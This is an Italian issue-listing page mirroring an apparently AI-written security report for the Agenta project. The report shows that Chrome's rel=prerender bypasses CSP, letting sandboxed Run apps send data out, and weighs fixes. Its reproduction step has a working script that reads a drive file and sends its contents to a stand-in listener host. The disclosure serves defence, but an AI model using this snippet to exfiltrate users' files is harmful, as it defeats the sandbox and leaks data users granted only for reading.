Hacktoberfest 2026: le issue che i maintainer hanno segnato per ottobre, aperte e adatte ai principianti. Sfoglia le issue Hacktoberfest

Run apps can send one request per load via <link rel="prerender">, which ignores CSP (Chrome)

Aperta
  • Qualcosa non va?
#7,079 1 commento 1 reazione 0 assegnatari Vedi su GitHub

I maintainer di solito rispondono entro 1 giorno

Nessuno ha ancora preso questa issue.

Valutazione

Difficoltà
5/5
Tempo stimato
Più di una settimana
Idoneità per principianti
25/100
Tipo di issue
Bug
Chiarezza
Specificata chiaramente
Stato di attività
Attiva
Stack tecnologico
github, html, javascript, typescript
Ambito
backend, desktop, security

Direzione di ricerca

Start with the Run hardening work in #7066 and the contract at docs/design/agent-html-apps/contracts.md; the issue does not name implementation or test files. First assess the listed fix options and verify the Chrome behavior, since the proposed approaches differ in robustness and scope. Done means closing or explicitly documenting the rel=prerender data-exfiltration gap; the issue also notes Firefox and Safari remain untested.

Scritto dal modello di indicizzazione a partire dal testo della issue.

Descrizione

security

🤖 The AI agent says:

In Chrome, an agent HTML app running in the drive's Run tab can send one network request per page load with data in its URL, by adding a <link rel="prerender"> element. Chrome's prerender prefetch ignores the app's Content Security Policy.

Reproduction

  1. Turn on the Agent apps preference.

  2. In an agent's drive, create an app (for example create_app board@1 in apps/x). Add this to its index.html:

    <script>
  window.agenta.ready
    .then(() => window.agenta.fs.read("app.json"))
    .then((text) => {
      const link = document.createElement("link")
      link.rel = "prerender"
      link.href = "https://listener.example/x?d=" + encodeURIComponent(text.slice(0, 200))
      document.head.appendChild(link)
    })
</script>

    Use a listener you control in place of listener.example.

  3. Open the file, choose Run, and grant access.

  4. The listener receives GET /x?d=<file contents> with Sec-Purpose: prefetch. The same happens with a static <link rel="prerender"> in the markup.

The same request also leaves from a plain top-level page whose CSP is default-src 'none', so this is Chrome behaviour, not something specific to the Run frame.

Expected vs actual

  • Expected: a Run app can reach the drive only through the bridge and cannot send data to any other origin. RUN_CSP sets default-src 'none', and the wrapper frame from #7066 sets frame-src 'none'.
  • Actual: Chrome sends the rel=prerender prefetch regardless of CSP, so the app gets one request per load to any URL, with whatever it could read in the query string.

Scope

  • The gap predates v0.120.0. The Run hardening in #7066 closed the other ways out that were tested, including self-navigation, meta refresh, data:/blob:/javascript: hops, link clicks, forms, prefetch/preconnect, sendBeacon and keepalive fetch. It also stopped the bridge port reaching a second document.
  • Run sits behind the Agent apps preference, which is off by default. An app only gets drive access after the user grants it.
  • The grant sheet now says the app's code "can read these files and may be able to send what it reads outside Agenta". docs/design/agent-html-apps/contracts.md records the gap.
  • Only Chrome was tested. Firefox and Safari were not checked.

Options for a real fix

  1. Serve apps from a separate, locked-down origin. Run apps on a dedicated app-host origin that returns the policy as an HTTP header, not a meta tag. That origin could add further network controls: for example, no DNS for arbitrary hosts in a hardened deployment, or a response that disables speculative loading. This is the most robust option, but it is a hosting change (new origin, header config, self-host docs).
  2. Neutralise rel=prerender in the document. The bridge stub runs before app code, so it could patch HTMLLinkElement.prototype.rel, relList, setAttribute and setAttributeNode, and strip static link[rel~=prerender] in the assembler. This is best effort only: markup inserted through innerHTML, document.write or insertAdjacentHTML is created by the parser, not the setters, so the list of paths never ends.
  3. Watch Chromium. rel=prerender now maps to NoState Prefetch. If Chromium drops it or makes it honour CSP, this closes on its own. A test that loads a probe page in Chrome would tell us when.
  4. Keep the current state and document it. Treat Run apps as able to send out what they read, and gate access on trust. This is where the product is today.

Evidence from the v0.120.0 release QA (Chrome probes, including a top-level page with the same CSP) is available on request.

Lingua principale
TypeScript
Stelle
4.8k
Fork
690
Merge medio
21h 42m
PR unite (30g)
459

Preparare l'ambiente

Come iniziare

  1. Leggi tutta la issue e poi la guida ai contributi del progetto.
  2. Commenta sulla issue per dire che te ne occupi tu — evita che due persone facciano lo stesso lavoro.
  3. Fai un fork del repository e lavora su un branch.
  4. Apri una pull request che faccia riferimento al numero della issue.

Altre issue di Agenta-AI/agenta

Tutte le issue di Agenta-AI/agenta

Issue simili

Altre issue su TypeScript

Ricevi le nuove issue nella tua casella

Un breve riepilogo di issue GitHub adatte ai principianti.